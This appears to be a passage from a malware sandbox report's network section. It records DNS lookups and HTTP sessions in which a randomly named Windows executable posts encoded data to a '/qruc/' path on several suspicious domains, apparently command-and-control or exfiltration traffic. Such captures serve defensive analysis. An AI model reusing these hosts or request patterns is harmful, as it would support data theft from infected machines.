Apr 26, 2024 07:40:33.102896929 CEST	192.168.2.4	1.1.1.1	0x200f	Standard query (0)	www.quantumboulevard.xyz	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:40:47.297348022 CEST	192.168.2.4	1.1.1.1	0x4343	Standard query (0)	www.dntchunkysalsa.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.164300919 CEST	192.168.2.4	1.1.1.1	0x6639	Standard query (0)	www.electronicraw.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 26, 2024 07:39:49.461395025 CEST	1.1.1.1	192.168.2.4	0x2e11	No error (0)	www.klingerlumberltd.com	klingerlumberltd.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 07:39:49.461395025 CEST	1.1.1.1	192.168.2.4	0x2e11	No error (0)	klingerlumberltd.com		109.70.148.57	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:40:05.109843016 CEST	1.1.1.1	192.168.2.4	0xd840	No error (0)	www.gattosat.icu		109.123.121.243	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:40:19.081444979 CEST	1.1.1.1	192.168.2.4	0x834e	No error (0)	www.linbreoffice.org		64.225.91.73	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:40:33.420676947 CEST	1.1.1.1	192.168.2.4	0x200f	No error (0)	www.quantumboulevard.xyz		66.29.135.159	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:40:47.937181950 CEST	1.1.1.1	192.168.2.4	0x4343	No error (0)	www.dntchunkysalsa.com		154.213.73.100	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		173.255.194.134	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		72.14.185.43	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		72.14.178.174	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		45.33.30.197	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		45.33.20.235	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		45.33.18.44	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		96.126.123.244	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		45.79.19.196	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		45.33.2.79	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		198.58.118.167	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		45.33.23.183	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:41:03.392539024 CEST	1.1.1.1	192.168.2.4	0x6639	No error (0)	www.electronicraw.com		45.56.79.23	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.klingerlumberltd.com

www.gattosat.icu

www.linbreoffice.org

www.quantumboulevard.xyz

www.dntchunkysalsa.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49750	109.70.148.57	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:39:49.699223995 CEST	412	OUT	GET /qruc/?vFLHF=St8dDlnHzrct7&xl=4y8JdVmVqWeea5bbMhnz8aXW/zBNuVIx9gyDCHl5L7QB29ig52mkDYCfyusGnjDf+1nAg1jN2XuDrRbFj9LrVx3K8AcskdL8Q9MgXuVmjPqiRPQTvnH80A0= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Host: www.klingerlumberltd.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Apr 26, 2024 07:39:49.925115108 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Fri, 26 Apr 2024 05:39:49 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSp
Apr 26, 2024 07:39:49.925157070 CEST	187	IN	Data Raw: 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 Data Ascii: eed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49751	109.123.121.243	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:05.342566013 CEST	665	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.gattosat.icu Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.gattosat.icu Referer: http://www.gattosat.icu/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 5a 43 43 64 42 45 2b 78 67 31 42 4f 46 52 2f 4b 79 48 37 32 79 4c 48 53 34 79 30 77 70 6f 32 73 6c 44 6a 46 32 68 61 61 4c 74 62 6e 4a 31 4b 67 54 77 39 6e 47 4f 4b 5a 63 53 45 4d 6d 49 4a 49 6e 47 55 49 4b 34 74 55 63 34 4f 64 36 50 4a 74 5a 65 48 6a 41 79 33 78 42 65 6d 39 50 33 44 59 67 5a 74 6c 36 43 33 43 46 38 31 6d 6f 58 7a 4a 6b 72 66 7a 38 79 68 4a 70 49 30 36 57 37 6e 74 67 76 68 44 77 4e 2f 72 37 41 2f 76 43 41 50 6f 69 76 30 78 55 56 6b 68 2f 35 42 32 6e 6f 77 5a 6e 45 4b 67 49 37 76 61 79 33 63 34 6d 55 36 78 78 6c 47 70 4f 5a 68 73 6a 37 73 6f 38 54 4a 42 74 41 3d 3d Data Ascii: xl=ZCCdBE+xg1BOFR/KyH72yLHS4y0wpo2slDjF2haaLtbnJ1KgTw9nGOKZcSEMmIJInGUIK4tUc4Od6PJtZeHjAy3xBem9P3DYgZtl6C3CF81moXzJkrfz8yhJpI06W7ntgvhDwN/r7A/vCAPoiv0xUVkh/5B2nowZnEKgI7vay3c4mU6xxlGpOZhsj7so8TJBtA==
Apr 26, 2024 07:40:05.571185112 CEST	292	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 26 Apr 2024 05:40:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49752	109.123.121.243	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:08.098596096 CEST	685	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.gattosat.icu Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.gattosat.icu Referer: http://www.gattosat.icu/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 5a 43 43 64 42 45 2b 78 67 31 42 4f 45 77 50 4b 7a 6b 44 32 77 72 48 52 39 79 30 77 67 49 32 6f 6c 43 66 46 32 6b 33 42 4c 65 2f 6e 48 31 36 67 51 31 52 6e 57 65 4b 5a 58 79 45 4e 69 49 4a 42 6e 47 49 41 4b 35 52 55 63 34 71 64 36 4e 52 74 65 70 62 67 42 69 33 4a 4a 2b 6d 37 43 58 44 59 67 5a 74 6c 36 43 79 5a 46 38 74 6d 70 6e 44 4a 6d 50 72 30 69 43 68 4b 2f 34 30 36 46 72 6d 6b 67 76 67 6d 77 4d 54 4e 37 43 48 76 43 41 2f 6f 69 39 4d 32 65 56 6b 6e 37 35 41 68 73 74 56 48 76 48 76 4d 49 5a 48 43 2f 6a 73 68 71 79 72 72 67 55 6e 2b 63 5a 46 66 2b 38 6c 63 78 51 30 49 32 41 67 67 6a 4f 62 2b 44 5a 31 74 6d 77 31 62 72 6d 48 46 7a 78 6f 3d Data Ascii: xl=ZCCdBE+xg1BOEwPKzkD2wrHR9y0wgI2olCfF2k3BLe/nH16gQ1RnWeKZXyENiIJBnGIAK5RUc4qd6NRtepbgBi3JJ+m7CXDYgZtl6CyZF8tmpnDJmPr0iChK/406FrmkgvgmwMTN7CHvCA/oi9M2eVkn75AhstVHvHvMIZHC/jshqyrrgUn+cZFf+8lcxQ0I2AggjOb+DZ1tmw1brmHFzxo=
Apr 26, 2024 07:40:08.327645063 CEST	292	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 26 Apr 2024 05:40:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49753	109.123.121.243	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:10.864924908 CEST	10767	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.gattosat.icu Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.gattosat.icu Referer: http://www.gattosat.icu/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 5a 43 43 64 42 45 2b 78 67 31 42 4f 45 77 50 4b 7a 6b 44 32 77 72 48 52 39 79 30 77 67 49 32 6f 6c 43 66 46 32 6b 33 42 4c 65 33 6e 48 45 61 67 51 53 46 6e 56 65 4b 5a 55 79 45 41 69 49 49 54 6e 47 41 45 4b 35 64 75 63 36 69 64 37 73 78 74 66 59 62 67 4c 69 33 4a 4c 2b 6d 36 50 33 44 52 67 5a 39 68 36 43 69 5a 46 38 74 6d 70 6c 72 4a 69 62 66 30 67 43 68 4a 70 49 30 2b 57 37 6d 49 67 76 4a 62 77 4d 6e 43 36 7a 6e 76 43 6b 62 6f 68 4f 30 32 64 31 6b 6c 38 35 41 70 73 74 52 6d 76 48 7a 32 49 5a 66 34 2f 6b 63 68 67 32 47 6d 6b 77 76 52 4a 4b 56 62 74 2b 4a 36 2b 43 30 49 33 68 67 50 6e 62 37 6a 44 59 46 78 67 53 67 71 2b 54 72 44 67 68 57 4e 37 64 72 71 71 38 6c 5a 50 4e 4b 62 66 6a 63 52 6a 30 70 45 43 47 64 78 70 33 69 30 6d 49 62 33 7a 70 4c 58 67 77 46 4c 62 47 41 4d 37 7a 34 48 4f 4f 44 43 77 36 68 6d 48 47 4e 54 5a 38 6f 74 6e 69 37 2b 46 41 53 38 44 6b 49 7a 65 39 79 36 59 31 6e 69 42 41 59 76 4f 4c 54 54 44 54 78 6f 55 38 63 4f 42 5a 4d 4d 6f 35 51 71 6d 4c 76 6c 4f 76 4c 78 55 72 79 66 55 73 77 58 6a 7a 6e 78 6b 52 64 77 68 45 4a 6b 4b 6d 52 6e 75 6d 45 43 36 66 70 34 54 58 5a 38 77 46 48 64 2f 47 36 65 46 78 54 75 52 79 64 79 77 71 67 6e 50 42 4b 4d 41 6f 43 70 34 48 6f 57 31 5a 64 34 34 4c 2f 35 48 47 55 64 50 4e 35 54 69 53 35 57 37 42 38 35 70 39 4e 72 56 5a 2b 46 65 4e 52 55 67 49 49 34 4f 31 39 57 71 62 77 44 4a 51 58 65 73 36 44 4f 2b 55 70 2b 39 57 32 48 47 31 67 38 70 47 36 70 67 56 63 36 46 70 6e 62 33 53 43 6c 6b 65 50 4d 42 47 6e 49 38 37 69 46 41 77 61 55 6c 70 34 6a 4e 4b 70 2b 2f 63 77 35 57 4e 39 70 45 37 4b 56 5a 66 48 5a 31 4a 35 73 6b 45 77 66 4e 44 6c 7a 57 6b 32 32 39 78 33 41 69 37 5a 79 6c 71 30 34 4f 66 4b 42 48 7a 34 2b 47 43 74 4c 33 53 2b 7a 78 6e 73 69 53 4f 73 68 71 58 48 78 4c 39 63 42 76 47 55 50 4e 75 51 4e 44 65 6e 42 6b 71 75 54 6b 54 36 4d 79 74 57 63 32 51 63 53 33 73 5a 32 6c 36 62 57 48 38 44 65 2b 6e 7a 4c 4e 6e 4f 77 71 47 75 79 48 4a 4d 64 4e 5a 77 55 68 4c 36 49 6b 53 73 49 6f 4b 54 43 67 61 51 56 6f 4d 6d 43 68 73 47 62 56 58 46 33 76 59 56 62 6a 57 35 77 77 6b 52 58 5a 6f 6b 39 4e 2f 70 55 35 33 71 64 45 50 4b 33 7a 48 77 63 73 48 2b 30 57 64 33 59 51 7a 76 70 70 61 36 39 4c 31 6f 50 34 4a 6f 79 33 48 56 77 52 49 65 75 37 38 78 30 4f 57 48 73 42 75 48 53 66 71 52 66 4f 34 69 2b 4b 2b 4c 32 6f 4c 6b 6a 32 55 36 32 61 75 49 47 32 56 6e 59 56 59 71 4d 69 6f 44 4f 51 68 74 35 35 4a 62 74 59 59 70 65 36 45 48 57 53 66 46 4a 4b 6a 55 37 30 4b 48 6f 74 62 31 4a 48 54 37 6a 43 61 45 6e 63 6d 64 45 4d 36 32 73 34 44 30 7a 7a 75 2b 54 6c 42 32 4e 37 36 55 47 51 2b 63 31 74 44 52 68 56 71 6c 50 6b 42 33 61 51 6a 41 52 4e 54 57 59 6c 47 70 47 64 31 51 50 69 55 4c 33 6f 45 33 6d 68 56 34 30 43 55 4b 74 47 32 64 38 5a 4e 72 55 44 2b 66 4b 32 77 4c 59 65 33 72 6b 6b 50 32 66 72 69 5a 53 75 55 68 75 65 46 31 30 38 56 66 6e 67 69 38 63 70 68 75 56 61 43 57 6e 4a 6b 5a 4f 39 67 64 52 62 66 31 66 71 48 6a 79 57 70 61 73 48 49 72 2f 35 4e 4d 62 55 49 62 47 33 4e 61 77 4a 32 4b 34 44 7a 76 65 6f 55 57 79 4e 52 78 5a 62 42 47 58 6a 59 68 66 61 51 58 4e 56 65 35 70 79 66 6e 4d 56 69 6d 71 4b 55 71 43 65 37 58 34 55 61 70 62 74 79 51 6d 73 75 6b 75 6e 6b 31 76 6e 77 61 48 53 2f 62 31 79 79 4a 68 4f 4f 58 6e 6e 65 5a 41 61 55 56 48 64 4a 79 55 56 73 68 4b 4d 2b 62 48 45 51 56 75 62 64 77 6e 65 69 63 75 71 77 34 43 36 73 4d 6d 49 39 78 43 52 69 4a 71 71 68 31 58 62 57 50 42 4c 6b 73 49 48 45 72 6f 58 48 55 66 57 4f 35 6e 51 32 2b 53 78 36 70 79 45 76 62 70 6d 6a 43 64 64 51 47 52 55 52 35 49 45 71 48 47 53 4f 50 47 4b 58 71 57 4a 53 31 6b 73 55 77 63 77 41 4d 45 35 34 66 37 7a 6a 72 73 78 4b 61 62 5a 4c 66 32 56 2f 69 67 4d 72 2f 68 52 74 76 69 4f 54 64 61 55 37 64 32 6a 6c 57 68 71 76 58 61 56 73 69 39 61 79 47 6e 44 4a 71 47 4c 55 77 74 77 6e 71 6e 7a 49 74 4e 2b 73 50 48 48 45 31 59 48 61 31 6a 4a 37 4c 75 57 42 53 2b 54 69 41 6b 30 77 50 56 65 77 34 70 62 46 38 78 62 57 35 68 46 47 34 75 76 67 6a 67 4f 38 45 77 6c 45 31 57 43 54 5a 32 49 4b 69 77 61 6d 4a 6b 54 38 39 46 63 42 6b 6c 2f 70 5a 6e 67 4b 7a 57 6e 6b 39 73 63 55 30 59 50 6d 5a 59 64 31 4c 57 69 74 68 57 51 42 38 59 Data Ascii: xl=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